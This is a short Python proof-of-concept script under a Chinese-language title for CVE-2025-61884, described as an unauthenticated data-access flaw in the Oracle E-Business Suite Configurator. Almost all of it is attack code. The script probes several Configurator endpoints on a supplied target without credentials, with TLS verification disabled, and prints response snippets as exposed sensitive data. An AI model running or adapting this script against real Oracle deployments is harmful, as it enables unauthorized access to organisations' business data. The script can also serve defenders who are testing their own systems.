CVE-2025-61884 Oracle E-Business Suite Configurator未授权数据访问漏洞

# CVE-2025-61884 PoC - Oracle Configurator Unauthenticated Data Access # Vulnerability: Unauthenticated access to critical data via Runtime UI # Affected: Oracle E-Business Suite 12.2.3 - 12.2.14 import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "https://target-ebs.example.com" CONFIGURATOR_PATH = "/OA_HTML/configurator/UiServlet" def exploit_cve_2025_61884(target_url): """ Exploit unauthenticated data access in Oracle Configurator Runtime UI The vulnerability allows reading sensitive configuration data without authentication """ headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Connection": "close" } # Step 1: Access Configurator Runtime UI endpoint directly without authentication endpoints = [ f"{target_url}{CONFIGURATOR_PATH}", f"{target_url}/OA_HTML/jtflogin.jsp", f"{target_url}/configurator/runtime/", f"{target_url}/OA_HTML/cfg/", ] for endpoint in endpoints: try: print(f"[*] Probing: {endpoint}") response = requests.get( endpoint, headers=headers, verify=False, timeout=10, allow_redirects=False ) # Check for successful access or sensitive data leakage if response.status_code == 200: indicators = [ "Configurator", "Runtime UI", "Configuration", "Oracle E-Business" ] for indicator in indicators: if indicator.lower() in response.text.lower(): print(f"[+] Sensitive data accessible at: {endpoint}") print(f"[+] Response snippet: {response.text[:500]}") return True elif response.status_code == 403: print(f"[-] Access denied: {endpoint}") else: print(f"[*] Status {response.status_code}: {endpoint}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) print(f"[*] CVE-2025-61884 Oracle Configurator Data Access PoC") print(f"[*] Target: {TARGET_URL}") exploit_cve_2025_61884(TARGET_URL)